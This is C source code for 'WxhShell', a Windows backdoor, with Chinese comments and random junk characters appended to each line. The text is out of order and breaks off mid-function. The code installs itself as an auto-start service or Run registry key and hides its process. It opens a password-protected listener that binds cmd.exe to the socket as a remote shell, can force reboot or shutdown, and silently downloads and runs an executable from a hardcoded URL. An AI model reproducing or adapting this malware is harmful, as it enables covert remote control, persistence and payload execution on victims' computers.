    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vh/&KTe?:  
    if(Boot(SHUTDOWN)) 6${=N}3Kw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^vHh*Ub  
    else { MP3Vo|}3  
    closesocket(wsh); i!a. 6Gq  
    ExitThread(0); b4R;#rm  
    } 3OlXi9>3  
    break; z]%c6ty  
    } I,lX;~xb  
  // 获取shell u^4$<fd  
  case 's': { (2J\o  
    CmdShell(wsh); JqmxS*_P  
    closesocket(wsh); n6xJ  
    ExitThread(0); HVHd@#pDZ  
    break; E xls_oSp  
  } }mYxI^n  
  // 退出 7K 'uNPC  
  case 'x': { zzH^xxg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m}$7d5  
    CloseIt(wsh); E^`-:L(_  
    break; ]wZlJK`K  
    } (6crWw{3  
  // 离开 #>ob1b|  
  case 'q': {  81}JX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (B^rW,V[R  
    closesocket(wsh); M/mm2?4  
    WSACleanup(); .}c&" L;W  
    exit(1); &Yklf?EZ>Q  
    break; i< b-$9  
        } Mgp+#w+,  
  } T\wfYuc&X  
  } KbSE=3  
+Zg@X.z  
  // 提示信息 cFZcBiw  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *8I"7'xh  
} ogvB{R  
  } WqJrDj~  
jl"su:y  
  return; ! }>CEE  
} 67g"8R#.V  
FX1H2N(  
// shell模块句柄 a_3w/9L4r  
int CmdShell(SOCKET sock) (uVL!%61k  
{ FTQNS8  
STARTUPINFO si; KDS} "/  
ZeroMemory(&si,sizeof(si)); N`HiNb [  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [0n[\& 0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jcbq#  
PROCESS_INFORMATION ProcessInfo; F;L8FL-  
char cmdline[]="cmd"; 'N3)>!Y:8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y}U}AUt  
  return 0; sR4B/1'E  
} o* ~aB_  
f}t8V% ^E  
// 自身启动模式 < 2SWfH1>  
int StartFromService(void) g.*DlD%%  
{ 8Drz i!}  
typedef struct gkmV; 0  
{ 1N}vz(0"  
  DWORD ExitStatus; eBWgAf.k  
  DWORD PebBaseAddress; 4q"4N2  
  DWORD AffinityMask; <Ej`zGhWz  
  DWORD BasePriority; 4D}hYk$eP0  
  ULONG UniqueProcessId; = inp>L  
  ULONG InheritedFromUniqueProcessId; o/6VOX  
}   PROCESS_BASIC_INFORMATION; 0Lf4 ^9N  
#,9s\T  
PROCNTQSIP NtQueryInformationProcess; =/!RQQ|8o  
!pZ<{|cH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FyQr$;r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |->C I  
`=$p!H8  
  HANDLE             hProcess; i IM\_<?  
  PROCESS_BASIC_INFORMATION pbi; I.[Lv7U-  
}/lyrjV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P-/"sD  
  if(NULL == hInst ) return 0; bXi!_'z$  
P~M[i9 V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1,(WS F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,M9e *  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bq2f?uD-}  
FeZ*c~q  
  if (!NtQueryInformationProcess) return 0; Za,myuI+  
\ZA@r|=$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L54]l^ls>  
  if(!hProcess) return 0; 2){O&8A  
PJ YUD5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wF9L<<&B  
O 6ph_$nt.  
  CloseHandle(hProcess); [MuZ^'dR  
?t5<S]'r$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;0U*N& f  
if(hProcess==NULL) return 0; HbRvU}C1  
>6R3KJe  
HMODULE hMod; r )HZaq  
char procName[255]; /9=r.Vxh  
unsigned long cbNeeded; oY+p;&H  
N% ?R(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _X|prIOb=  
l8khu)\n4R  
  CloseHandle(hProcess); la}cGZ; p.  
f^ja2.*%?  
if(strstr(procName,"services")) return 1; // 以服务启动 a^8PB|G  
'55G:r39  
  return 0; // 注册表启动 I~;w Q  
} { V) `6  
+0?1"2  
// 主模块 Qvty;2$o@  
int StartWxhshell(LPSTR lpCmdLine)  T  5F)  
{ %fnG v\uI  
  SOCKET wsl; Y1ks'=c>  
BOOL val=TRUE; SpImd IpD  
  int port=0; j9rxu$N+  
  struct sockaddr_in door; ;80^ GDk~S  
! B92W  
  if(wscfg.ws_autoins) Install(); OD9z7*E@  
!,dp/5 V  
port=atoi(lpCmdLine); XF+4*),  
I(Z\$  
if(port<=0) port=wscfg.ws_port; zu.B>INe  
Wb>;L@jB7  
  WSADATA data; 1_b*j-j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :}yT?LIyP  
Af\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Vm[F~2+HX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *NG\3%}%|@  
  door.sin_family = AF_INET; X 5\xq+Ih  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e=l:!E10  
  door.sin_port = htons(port); M!kSt1  
@H<*|3J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ' '(rC38  
closesocket(wsl); u>]3?ty`  
return 1; jo^c>ur  
} n\M8>9c  
Y!8FW|  
  if(listen(wsl,2) == INVALID_SOCKET) { yIcTc  
closesocket(wsl); B]H8^  
return 1; @({=~ W^  
} 7nPcm;Er  
  Wxhshell(wsl); FZ?:BX^  
  WSACleanup(); :EAh%q  
4y#XX[2Wj  
return 0; -pIz-*  
}lDX3h  
} 7FJ4;HLQ  
c -PZG|<C[  
// 以NT服务方式启动 TZ+ p6M8G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) araXE~Ac  
{ 7f}uRXBV$A  
DWORD   status = 0; 8]Tv1Wc  
  DWORD   specificError = 0xfffffff; ,~=]3qmbR  
- om9 Z0e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0ki- /{;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; XPU>} 4{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |1 "&[ .  
  serviceStatus.dwWin32ExitCode     = 0; 9=~ZA{0J  
  serviceStatus.dwServiceSpecificExitCode = 0; ?].MnwYo  
  serviceStatus.dwCheckPoint       = 0; ccrWk*tr  
  serviceStatus.dwWaitHint       = 0; ) $_1U!z  
ol*,&C:{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D;NL*4zt  
  if (hServiceStatusHandle==0) return; F3EAjO)ch  
rVqQo` K\  
status = GetLastError(); j<P;:  
  if (status!=NO_ERROR) s~].iQJ{B  
{ *V%"q|L8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K6t"98  
    serviceStatus.dwCheckPoint       = 0; vX\9#Hj  
    serviceStatus.dwWaitHint       = 0; rHTZM,zM=H  
    serviceStatus.dwWin32ExitCode     = status; gu!!}pwV9  
    serviceStatus.dwServiceSpecificExitCode = specificError; c )LG+K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `hZh}K^  
    return; 9xO@_pkX  
  } M2|!,2  
H7GI`3o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZX` \so,&,  
  serviceStatus.dwCheckPoint       = 0; [B# XA}w  
  serviceStatus.dwWaitHint       = 0; 9zb1t1[ W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mmbe.$73  
} @t~y9UfF  
h@Ea5x  
// 处理NT服务事件,比如:启动、停止 mpug#i6q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @b,H'WvhfS  
{ v>#Njgo  
switch(fdwControl) `VKFA<T  
{ b9RHsr]V  
case SERVICE_CONTROL_STOP: )gEE7Ex?  
  serviceStatus.dwWin32ExitCode = 0;  C3{hf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?a3 wBy  
  serviceStatus.dwCheckPoint   = 0; +7}^Y}(  
  serviceStatus.dwWaitHint     = 0; rP3tFvOH  
  { &U7v=a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 88~Nrl=co  
  } n82tZpn  
  return; LN WS  
case SERVICE_CONTROL_PAUSE: "t&=~eOe3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j*<J&/luYZ  
  break; <7VLUk}  
case SERVICE_CONTROL_CONTINUE: n2bhCd]j<b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; iRnjN  
  break; \ saV8U7B  
case SERVICE_CONTROL_INTERROGATE: pOXI*0_g.  
  break; "D _r</b  
}; =^rt?F4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K2zln_W  
} ywAvqT,  
(s,&,I=@  
// 标准应用程序主函数 ID2->J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (vO3vCYeQ  
{ FC] *^B  
%-blx)Pc  
// 获取操作系统版本 T0tX%_6`  
OsIsNt=GetOsVer(); Y2x|6{ #  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~j'D%:[+VH  
1`K-f m)  
  // 从命令行安装 i90X0b-A  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'z;(Y*jb  
`s}L3bR]  
  // 下载执行文件 iz#R)EB/g  
if(wscfg.ws_downexe) { qU !dg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =O }^2OARo  
  WinExec(wscfg.ws_filenam,SW_HIDE); s#s">hMrI  
} D<6$@ZJ  
reN\| ?0{  
if(!OsIsNt) { Nn[*ox#i  
// 如果时win9x,隐藏进程并且设置为注册表启动 |O_ JUl  
HideProc(); IQPu%n{0v  
StartWxhshell(lpCmdLine); R^.PKT2E  
} k~8-E u1  
else m"n74 cxS  
  if(StartFromService()) hn8xs5vN  
  // 以服务方式启动 ,2fi`9=\  
  StartServiceCtrlDispatcher(DispatchTable); ]ZcivnN#  
else +Ww] %`_  
  // 普通方式启动 MW 7~=T  
  StartWxhshell(lpCmdLine); ._G ,uP$  
%^@l5h.lqB  
return 0; ^YLC{V  
} 5v)^4( )  
,%TBW,>  
r >'tE7W9  
o}v<~v(  
=========================================== <a"(B*bBd  
U3{<+vSR`  
[=>=5'-  
_ p\L,No  
2R&\qZ<  
uCDe>Q4@/  
" r'OqG^6JFN  
bFG~08Z ,d  
#include <stdio.h> idYB.]Y(  
#include <string.h> ?:\/-y)Sp  
#include <windows.h> ,ErfTg&^  
#include <winsock2.h> zWEPwOlI1P  
#include <winsvc.h>  O`@Nl  
#include <urlmon.h> G ?$ @6  
Ab@ G^SLX  
#pragma comment (lib, "Ws2_32.lib") NfvPE]S  
#pragma comment (lib, "urlmon.lib") !q2zuxq!R  
=x8[%+  
#define MAX_USER   100 // 最大客户端连接数 61S;M8tNv  
#define BUF_SOCK   200 // sock buffer c*)T4n[e  
#define KEY_BUFF   255 // 输入 buffer % "(&a'B  
 g{Hgs  
#define REBOOT     0   // 重启 Me .I>7c  
#define SHUTDOWN   1   // 关机 s(=wG|   
G!Zb27u+  
#define DEF_PORT   5000 // 监听端口 5bLNQz\WJ  
^X96yj'?  
#define REG_LEN     16   // 注册表键长度 |(.\J`_e  
#define SVC_LEN     80   // NT服务名长度 ]I\GnDJ^  
=P(*j7=  
// 从dll定义API ;bE/(nz M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9lb?%UFe  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1,fR kQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r^~+ <"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :0r,.)  
e=0]8l>\V  
// wxhshell配置信息 zKd@Ab  
struct WSCFG { XDY]LAV  
  int ws_port;         // 监听端口 3(WijtH  
  char ws_passstr[REG_LEN]; // 口令 +HS]kFH  
  int ws_autoins;       // 安装标记, 1=yes 0=no FgH7YkKrD  
  char ws_regname[REG_LEN]; // 注册表键名 [[$C tqLg  
  char ws_svcname[REG_LEN]; // 服务名 ;:6\w!fc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \V>5)R n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N{v)pu.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =LaEEL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no TF8#I28AD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^p3 GT6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j9+4},>>CU  
B->AY.&j  
}; fQfn7FaW_\  
(.4lsKN<  
// default Wxhshell configuration e$~[\ w  
struct WSCFG wscfg={DEF_PORT, wo@ T@Ve~  
    "xuhuanlingzhe", <F7a!$zQ  
    1, ' h7Faj  
    "Wxhshell", uN`/&_$c  
    "Wxhshell", 8qyEHUN2q  
            "WxhShell Service", YbZbA >|  
    "Wrsky Windows CmdShell Service", 0fOhCxtL@  
    "Please Input Your Password: ", 8%9 C<+.R  
  1, 17s~mqy  
  "http://www.wrsky.com/wxhshell.exe", '`2KLO>!  
  "Wxhshell.exe" %>m.Z#R(  
    }; CYaN;HV@_  
ok\-IU?  
// 消息定义模块 K0.aU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @ZJL]TO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?4b0\ -  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -Uo11'{  
char *msg_ws_ext="\n\rExit."; i=gZ8Q=H  
char *msg_ws_end="\n\rQuit."; , #)d  
char *msg_ws_boot="\n\rReboot..."; 1wR[nBg*|  
char *msg_ws_poff="\n\rShutdown..."; oXm !  
char *msg_ws_down="\n\rSave to ";  QHNyH  
? Lg(,-:  
char *msg_ws_err="\n\rErr!"; KwL_ae6fV  
char *msg_ws_ok="\n\rOK!"; :F:1(FDP  
cw<I L  
char ExeFile[MAX_PATH]; *z~,|DQ(A  
int nUser = 0; 3x[C pg,  
HANDLE handles[MAX_USER]; GL n M1  
int OsIsNt; ;u<Ah?w=Z  
PJ5}c!o[  
SERVICE_STATUS       serviceStatus; 3]*Kz*i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ? "I %K%  
tl 0|.Q,  
// 函数声明 ?AyxRbk  
int Install(void); 11oNlgY&  
int Uninstall(void); kOydh(yE  
int DownloadFile(char *sURL, SOCKET wsh); _*o <<C\E  
int Boot(int flag); Xz^nm\  
void HideProc(void); =~;~hZj  
int GetOsVer(void); (ghI$oH  
int Wxhshell(SOCKET wsl); $*0-+h  
void TalkWithClient(void *cs); m4/qxm"Dx:  
int CmdShell(SOCKET sock); Vm%G q  
int StartFromService(void); ~F,~^r!Jtu  
int StartWxhshell(LPSTR lpCmdLine); aKj|gwo!  
b? ); D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7P<VtS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h&'|^;FM  
l'"nU6B&  
// 数据结构和表定义 >Z!!`0{  
SERVICE_TABLE_ENTRY DispatchTable[] = D;R~!3f./b  
{ /QQRy_Z1)  
{wscfg.ws_svcname, NTServiceMain}, /PwiZ A3sA  
{NULL, NULL} %/A>'p,~  
}; 16L YVvmW  
O(-p md,  
// 自我安装 K%J?'-  
int Install(void) `58%&3lp  
{ Yz/Blh%V  
  char svExeFile[MAX_PATH]; z8X7Y >+SA  
  HKEY key; oP,*H6)i  
  strcpy(svExeFile,ExeFile); WGv47i  
+YvF+E  
// 如果是win9x系统,修改注册表设为自启动 #tV1?q  
if(!OsIsNt) { On*I.~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t W UI?\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <wS J K  
  RegCloseKey(key); @vl$[Z|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !8G)` '  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NVMn7H}>  
  RegCloseKey(key); B'yjMY![  
  return 0; M@.l# [@U  
    } Q5ASN"_  
  } H^-Y]{7  
} H,% bKl#  
else { ;oOTL'Vu  
Ph=NH8  
// 如果是NT以上系统,安装为系统服务 l2LQV]l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :Qge1/  
if (schSCManager!=0) FOG{dio  
{ bLg!LZ|S0s  
  SC_HANDLE schService = CreateService U"r*kO%  
  ( _WZx].|A=  
  schSCManager, g7zl5^o3j  
  wscfg.ws_svcname, $]DuO1H./  
  wscfg.ws_svcdisp, hi"C<b.  
  SERVICE_ALL_ACCESS, 6$b =Tr=0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;U(]#pW!t  
  SERVICE_AUTO_START, LQ~|VRRX<  
  SERVICE_ERROR_NORMAL, 0 PYYG  
  svExeFile, AY52j  
  NULL, IS]A<}j/-  
  NULL, 1X)#iY  
  NULL, Tksv7*5$  
  NULL, d_`MS@2  
  NULL rnK]3Ust  
  ); Wr[LC&  
  if (schService!=0) xQ"uC!Gu4  
  { q1VKoKb6\:  
  CloseServiceHandle(schService); A;d@NOI#,K  
  CloseServiceHandle(schSCManager); |qX ?F`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a[K&;)  
  strcat(svExeFile,wscfg.ws_svcname); L/u|90) L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x"z\d,O%W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ir JSU_  
  RegCloseKey(key); >>{):r Z  
  return 0; J2Dn  
    } @(#vg\UH  
  } PlB3"{}0Q  
  CloseServiceHandle(schSCManager); *O$|,EsY  
} A"7YkOfwH  
} XCI  
D|5mNX %e  
return 1; A$wC !P|;  
} I7U/={[J  
3 P0z$jh"H  
// 自我卸载 \ aJ>?   
int Uninstall(void) Osqk#Oh  
{ lj]M 1zEz&  
  HKEY key; v`oilsrc  
bD,21,*z  
if(!OsIsNt) { v\w*VCjoV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xdO3koE:  
  RegDeleteValue(key,wscfg.ws_regname); XNa{_3v  
  RegCloseKey(key); F$8:9eL,T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bhUE!h<  
  RegDeleteValue(key,wscfg.ws_regname); [k 7HLn)  
  RegCloseKey(key); 8U@f/ P  
  return 0; RFbf2s\t  
  } "[ S[vkI  
} x;W!sO@$  
} qXtC7uNj$  
else { _`SD G5  
!mK()#6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Sd6O?&(  
if (schSCManager!=0) 7Q!ksp  
{ % i?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Py*WHHO  
  if (schService!=0) bg|$1ue  
  { j*QdD\)  
  if(DeleteService(schService)!=0) { ZW;Ec+n_K  
  CloseServiceHandle(schService); )L&y@dy)  
  CloseServiceHandle(schSCManager); w yxPvI`   
  return 0; q&:7R .Ci  
  } fExFpR,`  
  CloseServiceHandle(schService); 76T7<.S  
  } ]ttF''lH  
  CloseServiceHandle(schSCManager); "vk]y  
} %scw]oF  
} B6F!"  
551_;,t  
return 1; 2}<tzDI'  
} T4W20dxL7  
6OE xAn8  
// 从指定url下载文件 CY?J$sN  
int DownloadFile(char *sURL, SOCKET wsh) EC\@$Fg  
{ D<v< :  
  HRESULT hr; k:n{AoUc  
char seps[]= "/"; L/fXP@u  
char *token; ;*rGZ?%*  
char *file; V(cU/Aia^  
char myURL[MAX_PATH]; l8E))oz1T  
char myFILE[MAX_PATH]; t5 >ma:^j  
Ju>QQOxi|  
strcpy(myURL,sURL); %rB,Gl:)g  
  token=strtok(myURL,seps); 1a9' *[  
  while(token!=NULL) 1!1,{\9%  
  { 8@vq.z}  
    file=token; :#vA5kC  
  token=strtok(NULL,seps); 1o5kP,)  
  } 0VvY(j:hp  
PoZ$3V$(Lz  
GetCurrentDirectory(MAX_PATH,myFILE); fKEDe>B5  
strcat(myFILE, "\\"); %(s|  
strcat(myFILE, file); =X(N+(1~  
  send(wsh,myFILE,strlen(myFILE),0); yPfx!9B  
send(wsh,"...",3,0); yuC"V'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `/1rZ#  
  if(hr==S_OK) <nJGJ5JJ  
return 0; QH><! sa  
else VP< zOk7  
return 1; 1]>JMh%X9t  
_9D]1f=&  
} e3n^$'/\r  
&LM@xt4"^[  
// 系统电源模块 \ MuKS4  
int Boot(int flag) #HL$`&m  
{ 0qR#o/~I  
  HANDLE hToken; X,@nD@  
  TOKEN_PRIVILEGES tkp; @j\;9>I/  
;|T|*0vY[  
  if(OsIsNt) { tY#&_%W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u9:sj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oG22;  
    tkp.PrivilegeCount = 1; \>su97  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K:XXtG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fBTNI`#  
if(flag==REBOOT) { Nj4r[5K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "LYhYkI  
  return 0; xe OfofC(l  
} @/aJi6d"^E  
else { bHq.3;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j^/<:e c.  
  return 0; >WO;q  
} y-@`3hYM@  
  } ^Zpz@T>m  
  else { $lB!Q8a$  
if(flag==REBOOT) { mr[1F]G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V B ^1wm  
  return 0; Q~^v=ye  
} (| O(BxS  
else { s4 , `  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6k')12~'  
  return 0; hJFxT8B/  
} "pX|?ap  
} Lniz>gSc  
;U0w<>4L  
return 1; J}Z\I Y,  
} 0XE6H w  
JWu0VLo  
// win9x进程隐藏模块 kFQo[O]  
void HideProc(void) G{pF! q  
{  ]x1ba_  
*W=1yPP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /"!ck2d&1  
  if ( hKernel != NULL ) WO69Wo\C  
  { M$v\7vBgO!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ai%Wt-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4 J9Y  
    FreeLibrary(hKernel); *` -  
  } Ye^#]%m  
Yh,,(V6  
return; aEUEy:.  
} ).Z U0fV  
f U<<GK70  
// 获取操作系统版本 `)=sQ2P  
int GetOsVer(void) fuf' r>1n  
{ \Pfm>$Ib=  
  OSVERSIONINFO winfo; L$Xkx03lz>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }lkU3Pf1U  
  GetVersionEx(&winfo); A;xH{vo{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ktY  
  return 1; DBfq9%J _  
  else &4t=Y`]SL  
  return 0; u<\Sf"fs  
} 2zsDb'r  
$*fEgU% c  
// 客户端句柄模块 TD;u"  
int Wxhshell(SOCKET wsl) o|KmKC n>  
{ Fyz1LOH[X  
  SOCKET wsh; FLumI-se!  
  struct sockaddr_in client; m 2%  
  DWORD myID; 41C6ey  
gf;B&MM6  
  while(nUser<MAX_USER) nwJub$5  
{ N mNj0&  
  int nSize=sizeof(client); >.gT9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,[|i^  
  if(wsh==INVALID_SOCKET) return 1; 2j^8{Agz  
V#&S&dn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y,KSr|vG  
if(handles[nUser]==0) q\s>Oe6$  
  closesocket(wsh); uq!d8{IMu  
else 27JZwlzZ  
  nUser++; i:R_g]  
  } i1qmFvksl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -!j5j:RR  
,PWMl [X  
  return 0; "f!H[F1~  
} zM%2h:*+{  
E zU=q E  
// 关闭 socket r*Z p-}  
void CloseIt(SOCKET wsh) pr \OjpvD  
{ 78'3&,+si  
closesocket(wsh);  N,ihQB5  
nUser--; f2P2wt.$  
ExitThread(0); n~yhX%=_Du  
} `g'9)Xf4KT  
TwZmZE ?!  
// 客户端请求句柄 !5zj+N  
void TalkWithClient(void *cs) \S#![NC  
{ Q=498Y~x  
ynq^ztBVe  
  SOCKET wsh=(SOCKET)cs; $.Qq:(O:6  
  char pwd[SVC_LEN]; d-UQc2r  
  char cmd[KEY_BUFF]; G/Yqvu,2!  
char chr[1]; # i|pi'I j  
int i,j; .gwT?O,  
om0g'Qa  
  while (nUser < MAX_USER) { OYIH**?  
H3 |x  
if(wscfg.ws_passstr) { w2]]##J  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Kb#Z(C9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^,fMs:  
  //ZeroMemory(pwd,KEY_BUFF); u3vw[k  
      i=0; mm`yu$9gbP  
  while(i<SVC_LEN) { ESY\!X:|  
uWrvkLGN  
  // 设置超时 8Dc'"3+6  
  fd_set FdRead; J+nUxF;EE  
  struct timeval TimeOut; y}> bJ:  
  FD_ZERO(&FdRead); x)2ZbIDB:"  
  FD_SET(wsh,&FdRead); MM/D5g  
  TimeOut.tv_sec=8; *46hw(L  
  TimeOut.tv_usec=0; UNescZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8|S}!P"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ARJ}h  
>~* w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X=X  
  pwd=chr[0]; dj:6c@n  
  if(chr[0]==0xd || chr[0]==0xa) { ,a@jg&Mb]  
  pwd=0; T oK'Pd  
  break; +Ft@S(IE  
  } oAq<ag\qV  
  i++; =8 Jq'-da  
    } /HM 0p  
/-C6I:  
  // 如果是非法用户,关闭 socket uU`Mq8) R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FP h1}qS  
} wb (quu  
kiR+ Dsl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aL0,=g%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <.c#l':  
8s<t* pI2  
while(1) { y(Ck j"  
`Ct fe8  
  ZeroMemory(cmd,KEY_BUFF); ood,k{  
2mPU /  
      // 自动支持客户端 telnet标准   ^yVKW5x  
  j=0; +FlO_=Bu  
  while(j<KEY_BUFF) { -x0u}I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S5xum_Dq  
  cmd[j]=chr[0]; k|F TT  
  if(chr[0]==0xa || chr[0]==0xd) {  <sC.  
  cmd[j]=0; @xPWR=Lb  
  break; ~V!gHJ5M  
  } <(dg^;  
  j++; L[.RV*sL  
    } r2xIbZ  
l]__!X  
  // 下载文件 u+,  
  if(strstr(cmd,"http://")) { z+qrsT/?L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qHra9yuSh  
  if(DownloadFile(cmd,wsh)) )Vnqz lI5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2:Q2w3Xe  
  else w4\g]\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /4#A|;d_  
  } -}Q^A_xK  
  else { u|D|pRM-LT  
;*409 P  
